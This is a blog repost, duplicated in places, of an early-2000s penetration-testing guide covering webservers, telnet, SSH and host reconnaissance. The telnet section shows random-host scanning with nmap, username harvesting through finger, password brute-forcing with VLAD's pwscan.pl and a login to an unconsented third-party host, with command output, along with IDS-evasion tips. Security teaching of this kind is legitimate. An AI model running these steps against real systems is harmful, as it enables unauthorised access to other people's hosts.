Wednesday, October 6, 2010
Tuesday, October 5, 2010
HTTP (80 TCP)
HTTP (80 TCP)
The section on webservers was adapted for my SummerCon2001 speech. Is basically the same original chapter – I just updated some stuff. You’ll see that it contains updated parts of Chapter 6 as well.
Webservers are interesting beings - they are the most common service on the Internet - there are many of these running around. The two most common webservers are Microsoft IIS and Apache. They run respectively on Windows and UNIX (although Apache is available from Windows as well)...but you knew this right? In most cases (except for one) one generally cannot get full control over a webserver - it is thus, in terms of control, a less "vulnerable" service as telnet. The problem nowadays with webservers are that they serve a whole lot of data- this is, a lot of them contains data should be served - a virtually hosted site. Should I test for URLs (say brute forcing URLs) with whisker, we would thus add the -V switch, and specify the DNS names - not the IP number. If we should spec the IP number we will not be looking at the website www.sensepost.com, but at the underlying webserver - which might not be a bad idea, but maybe not the true intention. Hey - did I mention to read the whisker manual? Another switch that is used frequently is the -I switch. The -I switch fires up whisker's stealth mode - the IDS bypassing module. How does an IDS work - it looks for patterns or signatures. If we can disguise our patterns the IDS may not detect it. The -I switches disguise whisker's attacks in many ways - making it hard for an IDS to find us.
The section on webservers was adapted for my SummerCon2001 speech. Is basically the same original chapter – I just updated some stuff. You’ll see that it contains updated parts of Chapter 6 as well.
Webservers are interesting beings - they are the most common service on the Internet - there are many of these running around. The two most common webservers are Microsoft IIS and Apache. They run respectively on Windows and UNIX (although Apache is available from Windows as well)...but you knew this right? In most cases (except for one) one generally cannot get full control over a webserver - it is thus, in terms of control, a less "vulnerable" service as telnet. The problem nowadays with webservers are that they serve a whole lot of data- this is, a lot of them contains data should be served - a virtually hosted site. Should I test for URLs (say brute forcing URLs) with whisker, we would thus add the -V switch, and specify the DNS names - not the IP number. If we should spec the IP number we will not be looking at the website www.sensepost.com, but at the underlying webserver - which might not be a bad idea, but maybe not the true intention. Hey - did I mention to read the whisker manual? Another switch that is used frequently is the -I switch. The -I switch fires up whisker's stealth mode - the IDS bypassing module. How does an IDS work - it looks for patterns or signatures. If we can disguise our patterns the IDS may not detect it. The -I switches disguise whisker's attacks in many ways - making it hard for an IDS to find us.
Monday, October 4, 2010
Telnet (23 TCP)
Telnet (23 TCP)
The most prized port to find open could be the telnet port. An open telnet port usually denotes an UNIX host or a router. Sometimes an AS400 or mainframe could be found. Why are we excited about an open telnet port? The reason is twofold. First - the host may contain sensitive data in directories that are not properly protected - see the section on "finding the goods". The second reason is that UNIX hosts are the ideal "relaunch" platform. What I mean by this is that your should be able to upload your entire "toolbox" to the server, that you should be able to attack hosts that are usually firewalled or not routed from this server. Even if you are not able to upload a toolbox you should be able to telnet to other (internal) servers from a router or a UNIX server. How do we go about getting a shell (or Router prompt)? Usually a username and a password are required. In some cases only a username is needed, and in some cases only a password is needed for Cisco routers. The bottom line is that we need two or less "things" - be that a username or a password. How do we find these two things? There are some techniques to find a username (many of these techniques were used in our previous penetration testing example, so I will not show input/output):
1. Some routers or UNIX hosts will tell you when you have entered an incorrect username - even if you don't provide a password.
2. Telnet to port 25 and try to issue EXPN and VRFY commands. Try to expand (EXPN) list-like aliases such as abuse, info, list, all etc. In many cases these point to valid usernames.
3. Try to finger a user on the host. Later in this document we will look at finger techniques :)
4. Try anonymous FTP and get the password file in /etc. Although it should be shadowed, it may reveal valid usernames
5. Try anonymous FTP and do a cd ~user_to_test_for - see the section on FTP.
6. Use default usernames. A nice list of default usernames and passwords can be found at www.nerdnet.com/security/index.php
7. Try common usernames such as "test", "demo", "test01" etc.
8. Use the hostname or a derivative of the hostname as username.
9. See if the host is running a webserver and have a look at the website - you might learn more than you expect - look at the "Contact" section and see if you can't mine some usernames. Looking at the website may also help you to guess common usernames.
Ok, so now you have a rather long list of possible usernames. The idea would be to verify that these users exist. It would be a bonus if you could verify that the users exist. If we cannot verify that the user is valid we have to test it via the telnet protocol. We still need a password. Unfortunately there is no easy way to verify a password - you have to test this manually.
Manually?! I don't think so! BindView Corporation's RAZOR security team provided the world with VLAD (get it here http://razor.bindview.com/tools/vlad/), a tool that packaged some very useful tools. One of these tools has the ability to test usernames and passwords for (amongst other things) telnet. (The tool does not have support for password only telnet daemons - such as some routers, but the author tells me they are looking into it). Without getting too involved in this tool, lets see how our technique works against an arbitrary host (to find a totally arbitrary host we use nmap to find a random host with open port 23: nmap -sT -iR -p 23) Nmap finds the site 216.xxx.162.79 open to telnet:
/tmp# telnet 216.xxx.162.79
Trying 216.xxx.162.79...
Connected to 216.xxx.162.79.
Escape character is '^]'.
SunOS 5.6
xxx.xxx.com
Welcome to xxxxxxxxxxxxx
force Running Solaris 2.6.0
login:
We telnet to port 25, and find that there are no mail daemon running - no EXPN or VFRY possibilities. It seems that there are no anonymous FTP - no getting the password file. The finger daemon is also not running. Let us leave this host alone - we don't want to offend XXX - they have implemented some measures to keep people out.
Another IP that nmap gives us is 216.xxx.140.132. This host (SCO UNIX) is running Sendmail and finger. When we do a finger command, we find many usernames. To get these into a single file we issue the following command:
finger @216.xxx.140.132 | awk '{print $1}' | uniq > usernames
The next step would be to see if can use these usernames with common passwords. We use VLAD's brute force telnet module as follows:
perl pwscan.pl -v -T 216.xxx.140.132,
with the usernames in the file account.db. The output of the pwscan.pl PERL script looks like this:
/ports/vlad-0.7.1# perl pwscan.pl -v -T 216.xxx.140.132
RAZOR password scanner - version: $Id: pwscan.pl,v 1.17 2000/07/24 17:14:43 loveless Exp $
Checking 216.xxx.140.132
telnet check. User:angela, pass:angela
telnet check. User:angela, pass:
telnet check. User:angela, pass:12345
telnet check. User:angela, pass:abcdef
telnet check. User:angela, pass:god
telnet check. User:angela, pass:guess
telnet check. User:angela, pass:none
telnet check. User:angela, pass:password
telnet check. User:angela, pass:qwerty
telnet check. User:angela, pass:secret
telnet check. User:angela, pass:sex
telnet check. User:angela, pass:test
---cut---
Running through all usernames and common passwords, we find ..nothing. No username could be brute forced. Now what? The next step is to find more usernames. We attempt to the following:
finger test@216.xxx.140.132 The output looks like this:
/tmp# finger test@216.xxx.140.132
[216.xxx.140.132]
Login name: test In real life: TEST ACCOUNT
Directory: /home/test Shell: /OpenServer/bin/sh
Never logged in.
No unread mail
No Plan.
Login name: monotest In real life: Monorail Test
Directory: /home/monotest Shell: /OpenServer/bin/sh
Last login Fri Aug 4 12:10 on pts038 from www.multiuser.cH
No unread mail
No Plan.
This looks promising. The "test" user does not seem to have a weak password - we test it manually. The "monotest" user however delivers...logging in with username "monotest", and password "monotest" we gain access to the UNIX host:
/tmp# telnet 216.xxx.140.132
Trying 216.xxx.140.132...
Connected to xxxx.com.
Escape character is '^]'.
SCO UnixWare 7.1.0 (xxxx) (pts/42)
login: monotest
Password:
UnixWare 7.1.0
musapp
Copyright (c) 1976-1998 The Santa Cruz Operation, Inc. and its suppliers.
All Rights Reserved.
RESTRICTED RIGHTS LEGEND:
When licensed to a U.S., State, or Local Government,
all Software produced by SCO is commercial computer software
as defined in FAR 12.212, and has been developed exclusively
at private expense. All technical data, or SCO commercial
computer software/documentation is subject to the provisions
of FAR 12.211 - "Technical Data", and FAR 12.212 - "Computer
Software" respectively, or clauses providing SCO equivalent
protections in DFARS or other agency specific regulations.
Manufacturer: The Santa Cruz Operation, Inc., 400 Encinal
Street, Santa Cruz, CA 95060.
Last login: Fri Aug 4 12:10:15 2000 on pts038
NOTICE: Unregistered SCO software is installed on your system. Please
refer to SCO's online help for registration information.
$ exit
The interesting thing about this is that the finger daemon returns all usernames that contains the word "test". In the same way we can finger users such as "admin", and "user", and get interesting results.
Most machines that are running telnet, and has more than a certain amount of users (mostly multi-user machines) almost always hosts users with weak or no passwords - the idea is just to find them. From here it is fairly certain that you will find a local SCO exploit that will elevate you to root.
The most prized port to find open could be the telnet port. An open telnet port usually denotes an UNIX host or a router. Sometimes an AS400 or mainframe could be found. Why are we excited about an open telnet port? The reason is twofold. First - the host may contain sensitive data in directories that are not properly protected - see the section on "finding the goods". The second reason is that UNIX hosts are the ideal "relaunch" platform. What I mean by this is that your should be able to upload your entire "toolbox" to the server, that you should be able to attack hosts that are usually firewalled or not routed from this server. Even if you are not able to upload a toolbox you should be able to telnet to other (internal) servers from a router or a UNIX server. How do we go about getting a shell (or Router prompt)? Usually a username and a password are required. In some cases only a username is needed, and in some cases only a password is needed for Cisco routers. The bottom line is that we need two or less "things" - be that a username or a password. How do we find these two things? There are some techniques to find a username (many of these techniques were used in our previous penetration testing example, so I will not show input/output):
1. Some routers or UNIX hosts will tell you when you have entered an incorrect username - even if you don't provide a password.
2. Telnet to port 25 and try to issue EXPN and VRFY commands. Try to expand (EXPN) list-like aliases such as abuse, info, list, all etc. In many cases these point to valid usernames.
3. Try to finger a user on the host. Later in this document we will look at finger techniques :)
4. Try anonymous FTP and get the password file in /etc. Although it should be shadowed, it may reveal valid usernames
5. Try anonymous FTP and do a cd ~user_to_test_for - see the section on FTP.
6. Use default usernames. A nice list of default usernames and passwords can be found at www.nerdnet.com/security/index.php
7. Try common usernames such as "test", "demo", "test01" etc.
8. Use the hostname or a derivative of the hostname as username.
9. See if the host is running a webserver and have a look at the website - you might learn more than you expect - look at the "Contact" section and see if you can't mine some usernames. Looking at the website may also help you to guess common usernames.
Ok, so now you have a rather long list of possible usernames. The idea would be to verify that these users exist. It would be a bonus if you could verify that the users exist. If we cannot verify that the user is valid we have to test it via the telnet protocol. We still need a password. Unfortunately there is no easy way to verify a password - you have to test this manually.
Manually?! I don't think so! BindView Corporation's RAZOR security team provided the world with VLAD (get it here http://razor.bindview.com/tools/vlad/), a tool that packaged some very useful tools. One of these tools has the ability to test usernames and passwords for (amongst other things) telnet. (The tool does not have support for password only telnet daemons - such as some routers, but the author tells me they are looking into it). Without getting too involved in this tool, lets see how our technique works against an arbitrary host (to find a totally arbitrary host we use nmap to find a random host with open port 23: nmap -sT -iR -p 23) Nmap finds the site 216.xxx.162.79 open to telnet:
/tmp# telnet 216.xxx.162.79
Trying 216.xxx.162.79...
Connected to 216.xxx.162.79.
Escape character is '^]'.
SunOS 5.6
xxx.xxx.com
Welcome to xxxxxxxxxxxxx
force Running Solaris 2.6.0
login:
We telnet to port 25, and find that there are no mail daemon running - no EXPN or VFRY possibilities. It seems that there are no anonymous FTP - no getting the password file. The finger daemon is also not running. Let us leave this host alone - we don't want to offend XXX - they have implemented some measures to keep people out.
Another IP that nmap gives us is 216.xxx.140.132. This host (SCO UNIX) is running Sendmail and finger. When we do a finger command, we find many usernames. To get these into a single file we issue the following command:
finger @216.xxx.140.132 | awk '{print $1}' | uniq > usernames
The next step would be to see if can use these usernames with common passwords. We use VLAD's brute force telnet module as follows:
perl pwscan.pl -v -T 216.xxx.140.132,
with the usernames in the file account.db. The output of the pwscan.pl PERL script looks like this:
/ports/vlad-0.7.1# perl pwscan.pl -v -T 216.xxx.140.132
RAZOR password scanner - version: $Id: pwscan.pl,v 1.17 2000/07/24 17:14:43 loveless Exp $
Checking 216.xxx.140.132
telnet check. User:angela, pass:angela
telnet check. User:angela, pass:
telnet check. User:angela, pass:12345
telnet check. User:angela, pass:abcdef
telnet check. User:angela, pass:god
telnet check. User:angela, pass:guess
telnet check. User:angela, pass:none
telnet check. User:angela, pass:password
telnet check. User:angela, pass:qwerty
telnet check. User:angela, pass:secret
telnet check. User:angela, pass:sex
telnet check. User:angela, pass:test
---cut---
Running through all usernames and common passwords, we find ..nothing. No username could be brute forced. Now what? The next step is to find more usernames. We attempt to the following:
finger test@216.xxx.140.132 The output looks like this:
/tmp# finger test@216.xxx.140.132
[216.xxx.140.132]
Login name: test In real life: TEST ACCOUNT
Directory: /home/test Shell: /OpenServer/bin/sh
Never logged in.
No unread mail
No Plan.
Login name: monotest In real life: Monorail Test
Directory: /home/monotest Shell: /OpenServer/bin/sh
Last login Fri Aug 4 12:10 on pts038 from www.multiuser.cH
No unread mail
No Plan.
This looks promising. The "test" user does not seem to have a weak password - we test it manually. The "monotest" user however delivers...logging in with username "monotest", and password "monotest" we gain access to the UNIX host:
/tmp# telnet 216.xxx.140.132
Trying 216.xxx.140.132...
Connected to xxxx.com.
Escape character is '^]'.
SCO UnixWare 7.1.0 (xxxx) (pts/42)
login: monotest
Password:
UnixWare 7.1.0
musapp
Copyright (c) 1976-1998 The Santa Cruz Operation, Inc. and its suppliers.
All Rights Reserved.
RESTRICTED RIGHTS LEGEND:
When licensed to a U.S., State, or Local Government,
all Software produced by SCO is commercial computer software
as defined in FAR 12.212, and has been developed exclusively
at private expense. All technical data, or SCO commercial
computer software/documentation is subject to the provisions
of FAR 12.211 - "Technical Data", and FAR 12.212 - "Computer
Software" respectively, or clauses providing SCO equivalent
protections in DFARS or other agency specific regulations.
Manufacturer: The Santa Cruz Operation, Inc., 400 Encinal
Street, Santa Cruz, CA 95060.
Last login: Fri Aug 4 12:10:15 2000 on pts038
NOTICE: Unregistered SCO software is installed on your system. Please
refer to SCO's online help for registration information.
$ exit
The interesting thing about this is that the finger daemon returns all usernames that contains the word "test". In the same way we can finger users such as "admin", and "user", and get interesting results.
Most machines that are running telnet, and has more than a certain amount of users (mostly multi-user machines) almost always hosts users with weak or no passwords - the idea is just to find them. From here it is fairly certain that you will find a local SCO exploit that will elevate you to root.
Sunday, October 3, 2010
Fire!
Fire!
Hacker
Depending on the outcome of the portscan, we can now decide what tools to use against the server. Let us first look at some typical ports that one might find open on a server, and list the tool of preference to use against the service running behind the open port. In many cases one has to investigate the service manually - the UNIX/Microsoft commands will be listed as well. Let us begin with the most common ports first - we will list the steps and tools we are using. The idea is not to build a database of tools or techniques, but rather discuss each service, and the issues with each service.
Hacker
Depending on the outcome of the portscan, we can now decide what tools to use against the server. Let us first look at some typical ports that one might find open on a server, and list the tool of preference to use against the service running behind the open port. In many cases one has to investigate the service manually - the UNIX/Microsoft commands will be listed as well. Let us begin with the most common ports first - we will list the steps and tools we are using. The idea is not to build a database of tools or techniques, but rather discuss each service, and the issues with each service.
Saturday, October 2, 2010
Fire
Fire!
Depending on the outcome of the portscan, we can now decide what tools to use against the server. Let us first look at some typical ports that one might find open on a server, and list the tool of preference to use against the service running behind the open port. In many cases one has to investigate the service manually - the UNIX/Microsoft commands will be listed as well. Let us begin with the most common ports first - we will list the steps and tools we are using. The idea is not to build a database of tools or techniques, but rather discuss each service, and the issues with each service.
Depending on the outcome of the portscan, we can now decide what tools to use against the server. Let us first look at some typical ports that one might find open on a server, and list the tool of preference to use against the service running behind the open port. In many cases one has to investigate the service manually - the UNIX/Microsoft commands will be listed as well. Let us begin with the most common ports first - we will list the steps and tools we are using. The idea is not to build a database of tools or techniques, but rather discuss each service, and the issues with each service.
SSH (22 TCP)
SSH (22 TCP)
There are a lot of people of there than think their SSL - enabled website is not vulnerable to the common exploits found. They think - we have security on our site - it's safe. This is a very twisted view. The same is true for SSH. The default SSH installation of SSH (using a username and password to authenticate) only provides you with an encrypted control session. Anyone out there can still brute force it - a weak password (see telnet) is just as a problem with SSH as with telnet. The advantage of using SSH is that your control session is encrypted - this means that it would be very difficult for someone to see what you are doing. The other nice thing about using SSH and not telnet is that a SSH session cannot be hijacked. There are some theories of a SSH insertion attack, but I have not seen this work in the real world.
SSH can also be used for tunneling other data over the SSH channel. This is very sweet and there's many interesting tricks - running PPP over SSH, running Z-modem transfers over SSH etc. But we are here for breaking not building eh?
There are a lot of people of there than think their SSL - enabled website is not vulnerable to the common exploits found. They think - we have security on our site - it's safe. This is a very twisted view. The same is true for SSH. The default SSH installation of SSH (using a username and password to authenticate) only provides you with an encrypted control session. Anyone out there can still brute force it - a weak password (see telnet) is just as a problem with SSH as with telnet. The advantage of using SSH is that your control session is encrypted - this means that it would be very difficult for someone to see what you are doing. The other nice thing about using SSH and not telnet is that a SSH session cannot be hijacked. There are some theories of a SSH insertion attack, but I have not seen this work in the real world.
SSH can also be used for tunneling other data over the SSH channel. This is very sweet and there's many interesting tricks - running PPP over SSH, running Z-modem transfers over SSH etc. But we are here for breaking not building eh?
Friday, October 1, 2010
Hacker's view (no kill at all)
Hacker's view (no kill at all)
Let us then look at another example: www.sensepost.com. Our website (it is hosted offsite BTW). And let us go through the same steps, assuming we know nothing about the host.
We telnet to port 25 to find it filtered. The port is not wrapped - wrappers are very characteristic of UNIX hosts. [ Telling if a services is can be determined as follows:
# telnet cube.co.za
Trying 196.38.115.250...
Connected to cube.co.za.
Escape character is '^]'.
Connection closed by foreign host.
We see that we can establish a complete connection, but that the connection is closed immediately. Thus, the service is wrapped (TCP wrappers made famous by Venema Wietse). Wrappers allows the sysadmin to decide what source IP address(es) are allowed to connect to the service. It is interesting to note that wrapper might be set up to work with the source IP, or with the DNS name of the source. In some situations one can determine if the server uses IP numbers or DNS names - if the connection is not closed immediately (say it takes 2-10 seconds) it is probably using DNS names. Another way to determine if the wrapper is using DNS names or IP numbers is to connect to it with a IP number that does not have a reverse resolvable name. The server will attempt to reverse resolve your IP address - this might take a while - it is this delay that you will be able to see when connecting to the host. (The interesting part of this is that if the wrapper uses DNS one can get past it if one has complete control over both the mechanisms that controls both the forward and reverse DNS entries)]
Getting back to our website. Port 25 is filtered. How about port 80? (I hope not - else our website is down!) Connecting to port 80 reveals that we are dealing with a UNIX platform:
# telnet www.sensepost.com 80
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
GET / HTTP/1.0
< HTML >< HEAD >
501 Method Not Implemented
Method Not Implemented
get to /main.html not supported.
Let us then look at another example: www.sensepost.com. Our website (it is hosted offsite BTW). And let us go through the same steps, assuming we know nothing about the host.
We telnet to port 25 to find it filtered. The port is not wrapped - wrappers are very characteristic of UNIX hosts. [ Telling if a services is can be determined as follows:
# telnet cube.co.za
Trying 196.38.115.250...
Connected to cube.co.za.
Escape character is '^]'.
Connection closed by foreign host.
We see that we can establish a complete connection, but that the connection is closed immediately. Thus, the service is wrapped (TCP wrappers made famous by Venema Wietse). Wrappers allows the sysadmin to decide what source IP address(es) are allowed to connect to the service. It is interesting to note that wrapper might be set up to work with the source IP, or with the DNS name of the source. In some situations one can determine if the server uses IP numbers or DNS names - if the connection is not closed immediately (say it takes 2-10 seconds) it is probably using DNS names. Another way to determine if the wrapper is using DNS names or IP numbers is to connect to it with a IP number that does not have a reverse resolvable name. The server will attempt to reverse resolve your IP address - this might take a while - it is this delay that you will be able to see when connecting to the host. (The interesting part of this is that if the wrapper uses DNS one can get past it if one has complete control over both the mechanisms that controls both the forward and reverse DNS entries)]
Getting back to our website. Port 25 is filtered. How about port 80? (I hope not - else our website is down!) Connecting to port 80 reveals that we are dealing with a UNIX platform:
# telnet www.sensepost.com 80
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
GET / HTTP/1.0
< HTML >< HEAD >
get to /main.html not supported.
Invalid method in request get /
Apache/1.3.6 Server at www.sdn.co.za Port 80
Connection closed by foreign host.
Issuing the "GET / HTTP/1.0” command we see a response that includes the text "Apache/1.3.6", a famous UNIX webserver (I understand that Apache is now also available for Windows). We know that port 25 is firewalled. This means that the host is probably properly firewalled. Just to make sure we telnet to port 23 (telnet) and our suspicion is confirmed - the port is filtered.
Now what? The idea is now to start a portscan on the host. As mentioned before we don't want to do a complete scan on the server - we are just interested in ports that is servicing services that we know are exploitable or that might turn up interesting information in a vulnerability scanner. Knowing the O/S could also helps a lot. Thus, a command as follows is issued:# nmap -O -sS -P0 216.0.48.55 -p 21,22,53,69,98,110,443,1080,2049,3128,8080,1433,6667
We don't want to look at ports 23 and 80 as we know their status. All the other ports might service exploitable services. We want to see if there are any proxies running on the host (1080,3128 and 8080). Port 98 is Linux config port, 69 is TFTP and 1433 is MSQL (maybe it is a MS box after all). The output looks like this:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp filtered ssh
69/tcp filtered tftp
80/tcp open http
98/tcp filtered linuxconf
110/tcp filtered pop-3
1080/tcp filtered socks
1433/tcp filtered ms-sql-s
2049/tcp filtered nfsd
3128/tcp filtered squid-http
6667/tcp filtered irc
8080/tcp filtered http-proxy
TCP Sequence Prediction: Class=random positive increments
Difficulty=49224 (Worthy challenge)
Remote OS guesses: Solaris 2.6 - 2.7, Solaris 7
Checking the version of the services on the only two open ports (21 and 80) we find that this is more of a challenge. Trying common usernames and passwords at the FTP service also does not prove to work (including anonymous - as in the previous case).
Maybe we need to do a complete scan on the host - maybe there is an unprotected root shell waiting on a high port? How about UDP? Maybe putting on our security assessment hat would prove necessary? Maybe we need to look more in depth? Now, I am not saying that a hacker will not do this - I am only going into "assessment" mode, as this is where an assessment will start anyway.
A complete scan of the host is the place to start. We proceed to do this:
nmap -sS -O -P0 www.sensepost.com
The results looks as follows:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 1518 ports scanned but not shown below are in state: filtered)
Port State Service
21/tcp open ftp
53/tcp closed domain
80/tcp open http
443/tcp closed https
4321/tcp open rwhois
TCP Sequence Prediction: Class=random positive increments
Difficulty=15377 (Worthy challenge)
Remote operating system guess: Solaris 7
The only other open port is 4321. From the service file it seems that port 4321 is used for rwhois (remote WHOIS queries). But never trust the service file - 4321 sounds a bit suspect, it could be a backdoor put there by a previous administrator. We check it out manually:
# telnet www.sensepost.com 4321
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
%rwhois V-1.5:003fff:00 rwhois.sdn.co.za (by Network Solutions, Inc. V-1.5.5)It checks out pretty OK. The host is running an FTP and HTTP daemon. Are they using safe versions of these? Is the HTTP server configured properly?
In the next section we look at using tools developed by other people and companies - these tools will help us to uncover any holes in the defense of a host.
Subscribe to:
Posts (Atom)